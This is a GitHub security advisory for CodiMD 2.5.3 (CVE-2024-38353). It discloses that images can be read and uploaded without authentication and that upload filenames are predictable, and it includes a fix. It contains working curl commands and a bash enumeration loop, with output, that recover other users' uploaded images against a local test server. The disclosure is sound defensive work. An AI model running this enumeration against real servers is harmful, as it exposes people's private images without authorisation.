Skip to content

CodiMD - Missing Image Access Controls and Unauthorized Image Access

Moderate
jackycute published GHSA-2764-jppc-p2hm Jul 10, 2024

Package

CodiMD

Affected versions

2.5.3

Patched versions

2.5.4

Description

Summary

This advisory details a missing authentication and access control vulnerability allowing an unauthenticated attacker to gain unauthorised access to image data uploaded to CodiMD. This vulnerability affects the Filesystem upload backend. Both the develop branch from the git repository (commit d157fde) and the 2.5.3 release are affected.

CodiMD does not require valid authentication to access uploaded images or to upload new image data. An attacker who can determine an uploaded image's URL can gain unauthorised access to uploaded image data.

Due to the insecure random filename generation in the underlying Formidable library, an attacker can determine the filenames for previously uploaded images and the likelihood of this issue being exploited is increased.

This vulnerability was discovered through incidental application usage and further vulnerabilities may exist.

Note - this advisory will become public in 90 days, when a patch is issued, or if the advisory is rejected by CodiMD maintainers.

Missing Image Access Controls

No access control is applied to images uploaded to CodiMD, including images uploaded to private notes. This allows an attacker with access to the upload link, either by exploiting the condition described in the Insecurely Randomised File Names section of this advisory or by obtaining a link through other means, to gain unauthorised access to uploaded image data. Additionally, no authentication was required to upload image data, allowing an unauthenticated attacker to upload malicious images and perform other attacks, such as attempting to exhaust all available disk space and create a denial-of-service condition.

The following curl command shows an example of an image being accessed with no authentication.

curl -i http://127.0.0.1:3000/uploads/3fc337e10f6c4173c4acc3c00.png
HTTP/1.1 200 OK
X-Powered-By: Express
Referrer-Policy: same-origin
…omitted for brevity…

Warning: Binary output can mess up your terminal. Use "--output -" to tell

The following curl command shows an image being uploaded with no authentication.

curl -iF image=@foo.png http://127.0.0.1:3000/uploadimage
HTTP/1.1 200 OK
X-Powered-By: Express
…omitted for brevity…

{"link":"/uploads/0d8f485b3581aea8058a11c04.png"}

Insecurely Randomised Filenames

Filenames used for uploaded images are provided by the Formidable library, which uses the hexoid library to create random filenames. The hexoid library uses an insecure random number generator to create a prefix followed by an incrementing suffix. This allows an attacker to upload a file, determine the upload prefix, and obtain previously uploaded images. The prefix changes after 256 file uploads, or when the application server is restarted.

The following figures demonstrates the attack. First the attacker uploads an image file to obtain the server-side filename:

curl -F image=@foo.png http://127.0.0.1:3000/uploadimage
{"link":"/uploads/2d96f57625841b8f5c35e7b06.png"}

The suffix above is "06". The attacker then works backwards with known valid mime types (detailed in lib/config/index.js) to find previously uploaded files. The following script shows a proof-of-concept loop to try all mime types with known earlier filenames:

for i in {0..5};
        do for mime in jpeg png jpg gif svg bmp tiff; 
                do echo $i.$mime; 
                curl -sI 127.0.0.1:3000/uploads/2d96f57625841b8f5c35e7b0$i.$mime | head -1;
        done;
done
0.jpeg
HTTP/1.1 404 Not Found
0.png
HTTP/1.1 200 OK
0.jpg
HTTP/1.1 404 Not Found
0.gif
HTTP/1.1 404 Not Found
0.svg
HTTP/1.1 404 Not Found
0.bmp
HTTP/1.1 404 Not Found
0.tiff
HTTP/1.1 404 Not Found
1.jpeg
HTTP/1.1 404 Not Found
1.png
HTTP/1.1 200 OK
1.jpg
HTTP/1.1 404 Not Found
1.gif
HTTP/1.1 404 Not Found
1.svg
HTTP/1.1 404 Not Found
1.bmp
HTTP/1.1 404 Not Found
1.tiff
HTTP/1.1 404 Not Found
2.jpeg
HTTP/1.1 404 Not Found
2.png
HTTP/1.1 404 Not Found
2.jpg
HTTP/1.1 200 OK
…omitted for brevity…

The following figure shows the 2d96f57625841b8f5c35e7b02.jpg image discovered by the attacker:

image

Root Cause

The root cause of the insecure random filename issue is CodiMD's use of the Formidable library's generated filenames. The following code snippet from lib/imageRouter/filesystem.js shows the vulnerable code path:

 19 /**
 20  * pick a filename not exist in filesystem
 21  * maximum attempt 5 times
 22  */
 23 function pickFilename (defaultFilename) {
 24   let retryCounter = 5
 25   let filename = defaultFilename
 26   const extname = path.extname(defaultFilename)
 27   while (retryCounter-- > 0) {
 28     if (fs.existsSync(path.join(config.uploadsPath, filename))) {
 29       filename = `${randomFilename()}${extname}`
 30       continue
 31     }
 32     return filename
 33   }
 34   throw new Error('file exists.')
 35 }
 36 
 37 exports.uploadImage = function (imagePath, callback) {
 38   if (!imagePath || typeof imagePath !== 'string') {
 39     callback(new Error('Image path is missing or wrong'), null)
 40     return
 41   }
 42 
 43   if (!callback || typeof callback !== 'function') {
 44     logger.error('Callback has to be a function')
 45     return
 46   }
 47 
--> 48   let filename = path.basename(imagePath)
 49   try {
 50     filename = pickFilename(path.basename(imagePath))
 51   } catch (e) {
 52     return callback(e, null)
 53   }
 54 
 55   try {
--> 56     fs.copyFileSync(imagePath, path.join(config.uploadsPath, filename))
 57   } catch (e) {
 58     return callback(e, null)
 59   }
 60 
 61   let url
 62   try {
 63     url = (new URL(filename, config.serverURL + '/uploads/')).href
 64   } catch (e) {
 65     url = config.serverURL + '/uploads/' + filename
 66   }
 67 
 68   callback(null, url)
 69 }

The imagePath variable above is provided by the Formidable library, as shown in the following debugger output:

image

The filename is created by the Formidable library in PersistentFile.js:

image

The newFilename variable is assigned in Formidable.js as shown in the following code snippet:

 14           
 --> 15 const toHexoId = hexoid(25);
… omitted for brevity…
322     if (!this.options.filter(part)) {
323       return;
324     }
325 
326     this._flushing += 1;
327 
--> 328     const newFilename = this._getNewName(part);
329     const filepath = this._joinDirectoryName(newFilename);
330     const file = this._newFile({
331       newFilename,
332       filepath,
333       originalFilename: part.originalFilename,
334       mimetype: part.mimetype,
335     });
…omitted for brevity…
573       this._getNewName = (part) => {
--> 574         const name = toHexoId();
575 
576         if (part && this.options.keepExtensions) {
577           const originalFilename = typeof part === 'string' ? part : part.originalFilename;
578           return `${name}${this._getExtension(originalFilename)}`;
579         }
580 
581         return name;
582       }
583     }

The hexoid library used by Formidable uses the insecure Math.random() function to generate the prefix and increments the suffix using single digits. The following snippet from hexoid/dist/index.js shows the vulnerable algorithm:

var IDX=256, HEX=[];
while (IDX--) HEX[IDX] = (IDX + 256).toString(16).substring(1);

module.exports = function (len) {
        len = len || 16;
        var str='', num=0;
        return function () {
                if (!str || num === 256) {
                        str=''; num=(1+len)/2 | 0;
                        while (num--) str += HEX[256 * Math.random() | 0];
                        str = str.substring(num=0, len-2);
                }
                return str + HEX[num++];
        };
}

Math.random() is a known vulnerable RNG, and an attacker may be able to determine the values of previous and subsequent hexoid prefixes. (https://codeql.github.com/codeql-query-help/javascript/js-insecure-randomness/)

Recommendations

Requiring valid authentication to access file upload functionality and uploaded image data (assuming guest access is not enabled) would increase the security posture of CodiMD and increase the difficulty for an attacker gaining access to uploaded image data.

The filesystem imageRouter already implements a secure random filename function based on crypto.randomBytes(). The following change forcing all uploaded files to use the CodiMD random filename logic would resolve the insecurely randomised filenames issue and reduce the likelihood of an attacker gaining unauthorised access:

diff --git a/lib/imageRouter/filesystem.js b/lib/imageRouter/filesystem.js
index 49a811ef..dcdaedc7 100644
--- a/lib/imageRouter/filesystem.js
+++ b/lib/imageRouter/filesystem.js
@@ -16,24 +16,6 @@ function randomFilename () {
   return `upload_${buf.toString('hex')}`
 }
 
-/**
- * pick a filename not exist in filesystem
- * maximum attempt 5 times
- */
-function pickFilename (defaultFilename) {
-  let retryCounter = 5
-  let filename = defaultFilename
-  const extname = path.extname(defaultFilename)
-  while (retryCounter-- > 0) {
-    if (fs.existsSync(path.join(config.uploadsPath, filename))) {
-      filename = `${randomFilename()}${extname}`
-      continue
-    }
-    return filename
-  }
-  throw new Error('file exists.')
-}
-
 exports.uploadImage = function (imagePath, callback) {
   if (!imagePath || typeof imagePath !== 'string') {
     callback(new Error('Image path is missing or wrong'), null)
@@ -47,7 +29,7 @@ exports.uploadImage = function (imagePath, callback) {
 
   let filename = path.basename(imagePath)
   try {
-    filename = pickFilename(path.basename(imagePath))
+    filename = randomFilename()
   } catch (e) {
     return callback(e, null)
   }

Knowledge of a specific URL (discretionary access control) should not be used as a replacement for robust authorisation and mandatory access controls. However, the patch detailed above would provide additional security benefits as an interim hardening measure to reduce the likelihood of an attacker discovering uploaded image URLs.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVE ID

CVE-2024-38353

Credits